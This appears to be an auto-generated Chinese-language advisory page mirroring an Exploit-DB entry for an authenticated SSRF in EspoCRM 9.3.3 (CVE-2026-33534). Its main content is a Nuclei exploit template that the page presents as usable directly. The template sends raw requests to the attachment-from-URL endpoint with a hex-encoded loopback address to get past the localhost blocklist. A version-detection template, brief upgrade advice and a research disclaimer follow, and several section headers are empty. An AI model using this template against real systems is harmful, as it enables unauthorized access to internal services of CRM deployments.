[webapps] EspoCRM 9.3.3 - SSRF

📋 漏洞基础信息

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-33534-exploit

info:
  name: EspoCRM 9.3.3 - Authenticated SSRF via Alternative IPv4 Notation
  author: vulnerability-researcher
  severity: high
  description: EspoCRM 9.3.3 suffers from an SSRF vulnerability that allows authenticated users to bypass the 127.0.0.1 blocklist using alternative IPv4 notations such as octal, hex, decimal dword, and short forms.
  reference:
    - https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-33534

variables:
  username: "{{username}}"
  password: "{{password}}"
  field: "avatar"
  parent_type: "User"
  parent_id: ""
  internal_port: "8083"
  internal_path: "/client/img/logo-light.svg"
  payload: "0x7f000001"

http:
  - raw:
      - |-
        POST /api/v1/Attachment/fromImageUrl HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username ~ ':' ~ password)}}
        Content-Type: application/json
        Accept: application/json

        {"url":"{{BaseURL}}:{{internal_port}}{{internal_path}}","field":"{{field}}","parentType":"{{parent_type}}"{{if parent_id}},"parentId":"{{parent_id}}"{{end}}}

      - |-
        POST /api/v1/Attachment/fromImageUrl HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username ~ ':' ~ password)}}
        Content-Type: application/json
        Accept: application/json

        {"url":"http://{{payload}}:{{internal_port}}{{internal_path}}","field":"{{field}}","parentType":"{{parent_type}}"{{if parent_id}},"parentId":"{{parent_id}}"{{end}}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - '"id"'
          - '"type"'
        condition: and
      - type: regex
        part: body
        regex:
          - '"id":"[a-f0-9]+'
          - '"type":"[^"]+"'
        condition: or

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-33534-detection

info:
  name: EspoCRM 9.3.3 - SSRF Detection
  author: vulnerability-researcher
  severity: high
  description: Detect EspoCRM version to check if vulnerable to CVE-2026-33534
  reference:
    - https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-33534

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/App/user"
      - "{{BaseURL}}/client/cfg/version.json"
      
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - '"version":"9\.\d\.\d"'
          - '9\.3\.\d'
        condition: or
        
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - '"version":"([^"]+)"'
          - '9\.\d\.\d'

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-28 08:10 | 来源: Exploit-DB